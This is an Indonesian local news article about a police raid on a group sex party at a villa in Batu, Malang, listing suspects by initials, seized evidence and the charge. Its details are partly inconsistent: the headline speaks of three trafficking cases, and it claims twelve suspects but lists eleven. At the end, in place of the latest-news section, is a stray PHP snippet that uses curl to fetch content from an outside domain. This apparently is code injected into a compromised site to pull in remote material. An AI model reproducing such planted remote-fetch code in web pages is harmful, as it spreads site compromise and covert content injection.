Ditreskrimum Polda Jatim Ungkap 3 Kasus TPPO di Villa Batu Malang, 12 Orang Tersangka Diamankan

Selasa, 1 Oktober 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Surabaya | jejakkasus.info – Tim Subdit IV Reknata Ditkrimum Polda Jatim berhasil mengungkap kasus tindak pidana perbuatan pencabulan yang dijadikan sebagai mata pencaharian.

Adapun juga, Tim berhasil menangkap 12 orang tersangka, diantaranya, SM (pria 31 th) asal malang, DS (perempuan, 30 th) asal malang, MB (pria 26 th) asal Malang, NS alias d (Pria 41 tahun) asal Malang, MS )perempuan 36 tahun) asal Malang, AP (lelaki 31 tahun) asal Malang, EW (perempuan 31 tahun) asal Malang, AM alias a (pria 38 tahun) asal kota Kediri, DS (perempuan 34 tahun) asal kota Kediri, F (pria 34 tahun) asal Malang, BA (laki-laki umur 24 tahun) asal kota Bandung.

Baca Juga:  Besok, Kapolri dan Panglima Cek Vaksinasi Covid-19 di Solo

Menurut Kabid humas Polda Jatim, Kombes Pol Dirmanto mengatakan, modus operandi tersangka ini dengan sengaja membuat acara pesta seks dengan mengundang pasangan suami istri dan juga lelaki lain tanpa pasangan untuk melakukan kegiatan fantasi secara bersama-sama.

“Mereka melakukan fantasi seks dilakukan di sebuah villa yang ada yang terletak di kota Batu,” terang Kabid Humas.

Dalam hal itu, tersangka fantasi seks diungkap dalam Mako Polda Jatim
kasus ini berawal pada hari Sabtu (21/09/24) satuan tugas unit III Subdit IV Reknata direskrimum Polda Jatim melakukan penyelidikan tentang dugaan tindak pidana prostitusi. Kemudian dengan melakukan serangkaian tindakan penyelidikan tim unit III mendapatkan informasi dari masyarakat tentang adanya kegiatan pesta seks yang dilakukan di salah satu villa di daerah Kota Batu.

Baca Juga:  Kakorlantas Soal Imbauan Berkendara Tak Pakai Sandal Jepit : Proteksi Diri Cegah Fatalitas Kecelakaan

Selanjutnya, pada dini hari Minggu (22/09/24) pukul jam 1.30 WIB tim menindaklanjuti informasi tersebut dengan mendatangi salah satu kawasan villa di kota Batu. Dengan didampingi pihak petugas keamanan (Security Villa) pada lantai 2 vila tersebut berhasil menemukan sekelompok laki-laki dan perempuan berada dalam satu ruangan.

” Semua berjumlah 12 orang yang terdiri dari 7 laki-laki dan 5 perempuan dalam keadaan telanjang dan tanpa busana sedang melakukan pesta seks atau hubungan seks secara bersama-sama,” terangnya dalam konfrensi pers.

Selain itu, tim juga mengamankan orang-orang tersebut beserta barang bukti yang berkaitan dengan perkara untuk dibawa di kantor direskrimum Polda Jatim benda melakukan proses hukum lebih lanjut.

Baca Juga:  AHY Dikerubuti Emak-Emak Saat Safari Ramadan di Kota Brebes

Petugas juga berhasil mengamankan barang bukti sejumlah uang tunai sebesar Rp. 825.000, 5 buah, 12 buah celana dalam, 4 buah kondom, 1 alat kontrasepsi bekas pakai, 2 buah sprei, 2 unit selimut, 1 buah HP dan 5 botol bekas minuman keras

Diketahui, tersangka telah melanggar pasal 296 KUHP tentang kasus tidak pidana Barang siapa dengan sengaja menyebabkan atau memudahkan perbuatan cabul dengan orang lain dan menjadikannya sebagai pencaharian atau kebiasaan.

“atas perbuatannya, tersangka diancam dengan pidana penjara paling lama 1 tahun 4 bulan atau denda paling banyak Rp15.000,” pungkas Kombes Pol Dirmanto.(msd)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>